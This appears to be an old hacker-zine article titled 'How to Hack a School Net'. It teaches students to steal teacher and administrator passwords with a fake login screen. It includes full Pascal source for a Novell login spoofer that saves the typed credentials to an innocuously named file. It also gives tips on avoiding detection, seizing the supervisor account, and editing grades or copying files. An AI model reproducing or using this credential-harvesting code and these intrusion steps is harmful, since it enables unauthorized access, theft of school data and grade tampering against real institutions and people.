|
-----------------------------------( 24 )----------------------------------- HOW TO HACK A SCHOOL NET -------------------------------ANTiCONFORMiST------------------------------- The following method of hacking a schools network which I thought of while trying to hack the Waitakere College Net, will work on any platform and just about any system. This is both an effictive and efficient method, SO USE IT! Hack networks, create anarchy for the teachers/network admin staff. Just make sure you don't take all the credit for the idea. Ingredients ----------- 1. Basic knoledge of a compiling computer language e.g. pascal, c, c++ etc 2. A Directory on a Server where you have read and write rights 3. A copy of the logon screen (if one is used) Method ------ To start with you need to write a small program that will emulate the logon process. i.e. display the logon screen, enter name + password etc.. The program must be able to save the data it collects to the dir you have rights to. It is a good idea to make the program as accurate as you can so the teachers etc don't notice any differences at first. Of cause unless you are an expert programmer you will not be able to write a successful tsr to capture the keys when the right prompt appares, so you will need to your program so it prints an error after the details are entered. The reason for this is is the teacher/supervisor will (after entering their logon and password a few times) come to the conclusion that for some reason the machine is not accessing the network. Thus rebooting it, not knowing what you have been upto. Therefore thinking nothing of it after machine boots. Now you can logon to another terminal, get the data file and away you go. Its that simple. Hints & Tips ------------ 1. Plan your attack and study the logon process, see what it does if you enter an invalid password etc. 2. Make the name of the file your saving the name and password to inconspicuous so that if the supervisor finds it he/she wont remove it. 3. Don't tell anybody what you are doing until after you have done it. Even if you trust them, they might have a concience, and nark or sumfin. 4. Once you have the supervisor password account, login as him/her after checking that he/she is not already logged in, set your account to have access to all directories and all facilities that the network offers. 5. Do what the hell you like, sponge files, edit your grades, send e-mail. Network Hack Algorithm ---------------------- Display Login Screen (if there is one) Write Name Prompt Get name if the name not entered write the usage Write Password Prompt Get password Write error Sample Pascal Code ------------------ {Does not display logo Just gets data and displays usage} {Used with Novell networks} {No error coded in, User will just not get logged in} Program False_Nlogin; Uses Dos,crt; Var NameStr, {Stores login name} PasswordStr, {Stors password} Try : String; x,k,y:byte; {Used for counters} Ch : Char; f:text; {Var for file} function FileExists(FileNam: String): Boolean; { Boolean function that returns True if the file exists;otherwise, it returns False. Closes the file if it exists. } var F: file; begin {$I-} Assign(F, FileNam); FileMode := 0; { Set file access to read only } Reset(F); Close(F); {$I+} FileExists := (IOResult = 0) and (FileNam <> ''); end; { FileExists } Procedure Usage; {Shows The Usage Of Nlogin} Begin WriteLn('Usage Login [/Options] [/Server] [Username] [ScriptParameters]' ); WriteLn('Options : Clear screen'); WriteLn(' No attach'); WriteLn(' Script <path spec>'); WriteLn; End; procedure getdata; {Enters all the data Needed i.e.login name, password} begin {GetData} y:=0; for x := 1 to 2 do begin case x of 1:Write('Enter your login name: '); 2:write('Enter your password: '); end; inc(y); repeat ch := readkey; case ch of #8 : Begin if k > 1 then begin dec(k); Delete(try,k,1); write(ch); clreol; end; end; #13,#10,#27 : Begin writeln(''); end; else begin try:=try+ch; case x of 1:write(ch); end; inc(k); end; end; until (ch = #13) or (ch = #10) or (ch = #27); case y of 1:begin namestr:=try; try:=''; end; 2:begin passwordstr:=try; try:=''; end; end; end; if namestr = '' then begin usage; halt(0); end; end; {GetData} procedure writedata; {writes the data to a file, checks to see if the files exists first} begin {WriteData} assign(f,'go039.bat'); if fileexists('go039.bat') = false then rewrite(f) else append(f); writeln(f,'Name: ',namestr); writeln(f,'Password: ',passwordstr); writeln(f); close(f); end; {WriteData} begin {Main Code} getdata; {runs the getdata procedure} writedata; {runs the writedata procedure} end. {Main Code}